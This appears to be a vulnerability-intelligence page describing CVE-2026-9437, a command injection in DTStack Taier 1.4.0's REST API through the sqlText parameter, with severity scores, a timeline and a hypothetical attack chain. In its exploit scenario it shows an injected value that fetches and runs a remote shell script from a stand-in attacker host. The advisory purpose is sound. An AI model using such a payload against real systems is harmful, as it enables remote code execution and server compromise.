Skip to main content

DTStack Taier CVE-2026-9437

| EUVD-2026-31645 LOW
OS Command Injection (CWE-78)
2026-05-25 VulDB GHSA-rpvv-2fvv-23x5
Command Injection Taier
2.1
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
Analysis Generated
Jun 08, 2026 - 12:58 vuln.today
Severity Changed
May 26, 2026 - 20:07 NVD
MEDIUM LOW
CVSS changed
May 26, 2026 - 20:07 NVD
6.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability has been found in DTStack Taier 1.4.0. This affects the function Runtime.exec of the component REST API. The manipulation of the argument sqlText leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

OS command injection in DTStack Taier 1.4.0 permits remote low-privileged authenticated attackers to execute arbitrary operating system commands by injecting shell metacharacters into the sqlText parameter, which is passed unsanitized to Java's Runtime.exec() within the REST API. A public proof-of-concept exploit has been disclosed on GitHub. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain low-privilege Taier credentials
Delivery
Send crafted REST API request with malicious sqlText value
Exploit
Unsanitized input passed to Runtime.exec()
Execution
Arbitrary OS command executes in Taier process context
Impact
Partial confidentiality, integrity, and availability impact achieved
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Authentication is required: the CVSS vector specifies PR:L (low-privileged), meaning an attacker must possess at minimum a valid low-privilege account on the Taier platform - unauthenticated exploitation is NOT possible based on available data. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Multiple signals present a mixed risk picture that warrants careful interpretation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who has obtained low-privilege credentials to the Taier platform - for example, through credential stuffing, phishing, or reused passwords - sends a crafted REST API request with a `sqlText` value containing injected shell commands such as `; curl attacker.com/shell.sh | bash`. The Taier backend passes this string directly to `Runtime.exec()`, causing the server OS to execute the attacker's payload. …
Remediation No vendor-released patch identified at time of analysis - the vendor did not respond to responsible disclosure, and no official fix version has been published. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-9437 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy